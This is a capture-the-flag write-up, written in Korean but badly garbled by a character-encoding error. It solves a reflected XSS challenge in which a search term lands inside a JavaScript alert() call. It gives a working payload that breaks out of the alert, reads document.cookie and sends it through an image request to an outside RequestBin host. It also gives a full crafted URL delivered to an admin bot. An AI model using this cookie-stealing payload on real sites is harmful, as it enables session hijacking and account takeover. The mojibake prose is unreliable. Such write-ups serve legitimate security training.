[SegFault] (XSS)
XSS 2
๊ด๋ฆฌ์์ Cookie๋ฅผ ํ์ทจํ์ธ์!
๋ฌธ์ ํ์
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ XSS์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ , ๊ด๋ฆฌ์ Bot์ ํด๋น ๋งํฌ๋ฅผ ์ ๋ ฅํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ก Cookie ๊ฐ์ ํ์ทจํ์ฌ ๋ฐ์ผ๋ฉด Flag๋ฅผ ํ๋ํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ด๋ฃจ์ด์ ธ ์๋ค.
ํ์ง๋ง ํ์ฌ ๊ณต๊ฒฉ์ ์๋ฒ๋ฅผ ๊ฐ๊ณ ์์ง ์์ผ๋ฏ๋ก RequestBin์ ์ด์ฉํ๊ธฐ๋ก ํ๋ค.
์ฐ์ ์์ [๊ด๋ฆฌ์ ๋ฐฉ๋ฌธ Bot Link]์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ URL ์ ๋ ฅ์ฐฝ์ ๋ณผ ์ ์๋ค.
XSS ์ทจ์ฝ์ ์ ๋ฐ๊ฒฌํ๊ณ ํด๋น ๋งํฌ๋ฅผ ์์ URL์ ์ ๋ ฅํ๋ฉด ๊ณต๊ฒฉ์ ์๋ฒ(RequestBin)๋ก ์ฟ ํค ๊ฐ์ด ๋ ์์ค๋ ๋ฐฉ์์ด๋ค.
์ด์ ์๋์ ๋ฌธ์ ๋งํฌ์ ์ ์ํ๋ฉด ๋ค์๊ณผ ๊ฐ์ ์ฐฝ์ด ๋์จ๋ค.
์ฐ์ ํ์๊ฐ์ ํ ๋ก๊ทธ์ธ์ ์๋ํด๋ณธ๋ค.
๋ง์ดํ์ด์ง์๋ XSS ์ทจ์ฝ์ ์ด ์กด์ฌํ์ง ์๋๋ค๊ณ ํ๋จ๋์ด ๊ณต์ง์ฌํญ์ ์ดํด๋ณด๊ธฐ๋ก ํ๋ค.
๊ณต์ง์ฌํญ์ ๊ฒ์๊ธฐ๋ฅ์ ์ด์ฉํด๋ณธ๋ค.
๊ทธ ๊ฒฐ๊ณผ ๊ฒ์์ด๊ฐ ๊ทธ๋๋ก ์๋ฆผ์ฐฝ์ ๋ ธ์ถ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
๊ฒ์์ด์ ๊ฒฐ๊ณผ๊ฐ alert() ๋ด๋ถ์ ๋ค์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์์๊ณ , ๊ฒ์์ด์ ํน์๊ธฐํธ์ ๋ํ ๊ฒ์์ด ๊ฐ๋ฅํ์ง ํ์ธํด๋ณธ๋ค.
XSS Point
< ' " >
์์ ํน์๊ธฐํธ์ ๋ํ ๊ฒ์ ๊ฒฐ๊ณผ <, > ๋ HTML Entity๋ก ์นํ๋์ง๋ง ' , " ์ ๊ฒฝ์ฐ ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ์ถ๋ ฅ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
script ํ๊ทธ์ alert๋ฌธ ๋ด๋ถ์ ๊ฒ์์ด๊ฐ ์ ๋ ฅ๋๋ฏ๋ก ์ด๋ฅผ ์ด์ฉํ์ฌ ํ์ธํด๋ณธ๋ค.
1');//
์์ ๊ฐ์ด ์ ๋ ฅํด์ฃผ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด alert๋ด๋ถ์๋ '1' ๋ง ๋จ๊ณ , ๋๋จธ์ง๋ ์ฃผ์์ฒ๋ฆฌ ๋๋ ๊ฒ์ ํ์ธํ ์ ์๊ณ , ์ด์ ๋ฐ๋ผ ์๋ฆผ์ฐฝ์ 1๋ง ๋จ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๊ฒ์์ด์ ์ ๋ ฅ๊ฐ์ ์กฐ์ํ์ฌ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ๋ฐ์ฌ์ํฌ ์ ์๋ค๋ ๊ฒ์ ํ์ธํ์์ผ๋ฏ๋ก ํ์ด๋ก๋(Payload)๋ฅผ ์ฝ์ ํ์ฌ ์ฟ ํค์ ํ์ทจ๋ฅผ ์๋ํ๋ค.
ํ์ด ๊ณผ์ (ํด๊ฒฐ ๋ฐฉ์)
ํ์ด๋ก๋(Payload)
XSS๊ฒ์์ด ๋ ธ์ถ');
var cookieData = document.cookie;
var i = new Image();
i.src = "https://๊ณต๊ฒฉ์ ์ฃผ์/?cookie="+cookieData;
//
์์ ๊ฐ์ด alert๋ฌธ์ '); ๋ฅผ ์ด์ฉํ์ฌ ๋ซ์์ฃผ๊ณ , alert๋ฌธ์ ๋ท๋ถ๋ถ์ //๋ฅผ ์ด์ฉํ์ฌ ์ฃผ์์ฒ๋ฆฌ๋ฅผ ํ์ฌ ๊ทธ ์ฌ์ด์ ์ํ๋ ์คํฌ๋ฆฝํธ์ ์ฝ์ ๊ธฐ ๊ฐ๋ฅํ๋ค.
๊ฒ์์ด์ ์์ ๊ฐ์ด ์ ๋ ฅํ๋ ๊ฒฝ์ฐ ๋ค์๊ณผ ๊ฐ์ด ์ฝ์ ํ ์คํฌ๋ฆฝํธ๊ฐ ํ์ฑํ๋์ด ์๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
๊ทธ๋ฐ๋ฐ ํด๋น ๊ฒ์ ๊ธฐ๋ฅ์ ํ๋ผ๋ฏธํฐ๋ฅผ POST Method๋ฅผ ์ด์ฉํ์ฌ ๋ณด๋ด์ฃผ๊ณ ์์์ ํ์ธํ ์ ์๋ค. ๋ฐ์ฌ๋๋ ์ ๋ ฅ๊ฐ ๋ ธ์ถ์ ๋ค๋ฅธ ์ด์ฉ์์๊ฒ ๋ณด๋ด๋ ค๋ฉด URL๋ก์ ๋ณด๋ด์ผ ํ๋๋ฐ URL์ GET Method๋ง ๊ฐ๋ฅํ๋ค.
์คํฌ๋ฆฝํธ ์ ๋ฌ(URL)
์ด๋ฅผ Burp๋ฅผ ์ด์ฉํ์ฌ POST Method๋ฅผ GET Method๋ก ๋ณํํด๋ณธ ๊ฒฐ๊ณผ ๋์ผํ ๊ฒฐ๊ณผ๋ฅผ ์ป์ ์ ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
์ด์ ํด๋น ์์ฒญ์ URL์ copyํ์ฌ ๋ค์๊ณผ ๊ฐ์ด ์์ฑ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
http://ctf.segfaulthub.com:4343/xss_2/notice_list.php?option_val=username&board_result=XSS+%EA%B2%80%EC%83%89%EC%96%B4+%EB%85%B8%EC%B6%9C%27%29%3B+var+cookieData+%3D+document.cookie%3B+var+i+%3D+new+Image%28%29%3B++i.src+%3D+%22https%3A%2F%2Fenvo7w0acv6g.x.pipedream.net%2F%3Fcookie%3D%22%2BcookieData%3B++%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=
์์ URL์ ํด๋ฆญํ๋๋ก ์ ๋ํ์ฌ XSS๊ฐ ๋ฐ์ํ๋๋ก ํ๋ ๊ฒ์ด ๊ฐ๋ฅํ๋ค.
๋ฐ๋ผ์ ํด๋น URL์ ๊ด๋ฆฌ์ Bot์ ๋ณด๋ด์ค๋ค.
ํ์ทจ๋ ์ฟ ํค(Cookie)๊ฐ ๊ณต๊ฒฉ์ ์ฃผ์(RequestBin)์ผ๋ก ๋ฐ์์์ง๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
์์ ๊ฐ์ด ๊ฒ์์ด๋ฅผ ์ ๋ ฅํ๋ ์ผ๋ จ์ ๊ณผ์ ์ ๋ด์ URL๋ก์ ์ ์ ์ ๋๋ฅผ ํตํ์ฌ ์ํ๋ flag๊ฐ ํ๋๋ ๊ฒ์ ํ์ธํ์๋ค.
์ทจ์ฝ์ ์ ๊ดํ ๊ณ ์ฐฐ
๋ณธ ๋ฌธ์ ์ ๊ฒฝ์ฐ ๊ฒ์ ๊ธฐ๋ฅ์ ์ ๋ ฅ๊ฐ์ด ์๋ฆผ์ฐฝ์ ํตํด ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๋ ๊ฒ์ ์ด์ฉํ Reflected XSS ์ทจ์ฝ์ ์ด๋ค. ์ ๋ ฅ์ ๊ฐ์ด ์๋ต(Response)์ ๊ทธ๋๋ก ๋ฐ์ฌ๋์ด ๋ ธ์ถ๋๋ ๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ๋ ์ ์๊ธฐ ๋๋ฌธ์ ๊ฒ์ ์ ๋ ฅ ๊ฐ์ ์ต๋ ๊ธธ์ด๋ฅผ ์ ํํ๊ฑฐ๋, ๊ฒ์์ด๋ฅผ ์ง์ ์ ์ผ๋ก ๋ ธ์ถ ์ํค์ง ์๊ณ 'ํด๋นํ๋ ๊ฒ์์ด๊ฐ ์์ต๋๋ค.' ์ ๊ฐ์ ์ ๋ ฅ๊ฐ์ ์ ์ธํ ๋ฉ์์ง๋ฅผ ์ถ๋ ฅํ๋๋ก ํด์ผํ๋ค.
์ง๋ฌธ ํ์, ์์ ๋ฐ ๋ณด์์ ๋ํ ์ง์ ํ์